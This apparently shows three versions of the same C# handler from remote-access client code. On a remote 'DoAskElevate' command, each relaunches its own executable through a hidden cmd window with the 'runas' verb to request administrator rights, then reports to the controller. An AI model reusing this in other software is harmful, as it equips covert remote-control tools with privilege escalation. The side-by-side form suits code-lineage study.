public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client) { if (WindowsAccountHelper.GetAccountType() != "Admin") { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; MutexHelper.CloseMutex(); // close the mutex so our new process will run try { Process.Start(processStartInfo); } catch { client.Send(new SetStatus { Message = "User refused the elevation request." }); MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex return; } Program.ConnectClient.Exit(); } else { client.Send(new SetStatus { Message = "Process already elevated." }); } }
public static void doAskElevate(DoAskElevate packet, ClientMosaique client) { if (AuthenticationController.getAccountType() != "Admin") { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + ClientData.currentPath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; MutexController.closeMutex(); try { Process.Start(processStartInfo); } catch { new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client); MutexController.createMutex(); // re-grab the mutex return; } Program.client.Exit(); } }
private void Execute(ISender client, DoAskElevate message) { var userAccount = new UserAccount(); if (userAccount.Type != AccountType.Admin) { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run try { Process.Start(processStartInfo); } catch { client.Send(new SetStatus { Message = "User refused the elevation request." }); _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex return; } _client.Exit(); } else { client.Send(new SetStatus { Message = "Process already elevated." }); } }